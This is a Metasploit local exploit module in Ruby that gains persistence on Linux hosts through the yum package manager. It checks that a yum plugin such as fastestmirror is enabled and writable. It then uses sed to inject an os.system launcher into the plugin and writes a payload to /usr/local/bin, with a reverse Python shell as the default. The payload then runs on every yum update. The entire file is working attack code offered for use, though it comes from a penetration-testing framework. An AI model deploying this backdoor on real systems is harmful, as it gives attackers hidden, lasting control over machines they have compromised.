## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Linux::System def initialize(info = {}) super(update_info(info, 'Name' => 'Yum Package Manager Persistence', 'Description' => %q( This module will run a payload when the package manager is used. No handler is ran automatically so you must configure an appropriate exploit/multi/handler to connect. Module modifies a yum plugin to launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/ will show what plugins are currently enabled on the system. ), 'License' => MSF_LICENSE, 'Author' => ['Aaron Ringo'], 'Platform' => ['linux', 'unix'], 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'SessionTypes' => ['shell', 'meterpreter'], 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true', 'Payload' => 'cmd/unix/reverse_python' }, 'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum 'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'], 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0 )) register_options( [ # /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror']), OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']) ]) register_advanced_options( [ OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']), OptString.new('PluginPath', [true, 'Plugin Path to use', '/usr/lib/yum-plugins/']) ]) end def exploit # checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable plugin = datastore['PLUGIN'] full_plugin_path = "#{datastore['PluginPath']}#{plugin}.py" print_status(full_plugin_path) unless writable? full_plugin_path fail_with Failure::BadConfig, "#{full_plugin_path} not writable, does not exist, or yum is not on system" end # /etc/yum.conf must contain plugins=1 for plugins to run at all plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf" unless plugins_enabled.include? 'plugins=1' fail_with Failure::NotVulnerable, 'Plugins are not set to be enabled in /etc/yum.conf' end print_good('Plugins are enabled!') # /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1 plugin_conf = "/etc/yum/pluginconf.d/#{plugin}.conf" plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}" unless plugin_enabled.include? 'enabled=1' print_bad("#{plugin_conf} plugin is not configured to run") fail_with Failure::NotVulnerable, "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*" end # plugins are made in python and generate pycs on successful execution unless exist? "#{full_plugin_path}c" print_warning('Either Yum has never been executed, or the selected plugin has not run') end # check for write in backdoor path and set/generate backdoor name backdoor_path = datastore['WritableDir'] unless writable? backdoor_path fail_with Failure::BadConfig, "#{backdoor_path} is not writable" end backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10) backdoor_path << backdoor_name # check that the plugin contains an import os, to backdoor import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}" unless import_os_check.include? 'import os' fail_with Failure::NotVulnerable, "#{full_plugin_path} does not import os, which is odd" end # check for sed binary and then append launcher to plugin underneath print_status('Attempting to modify plugin') launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')" sed_path = cmd_exec "command -v sed" unless sed_path.include?('sed') fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found' end sed_line = "#{sed_path} -ie \"/import os/ a #{launcher}\" #{full_plugin_path}" cmd_exec sed_line # actually write users payload to be executed then check for write if payload.arch.first == 'cmd' write_file(backdoor_path, payload.encoded) else write_file(backdoor_path, generate_payload_exe) end unless exist? backdoor_path fail_with Failure::Unknown, "Failed to write #{backdoor_path}" end # change perms to reflect bins in /usr/local/bin/, give good feels chmod(backdoor_path, 0755) print_status("Backdoor uploaded to #{backdoor_path}") print_status('Backdoor will run on next Yum update') end end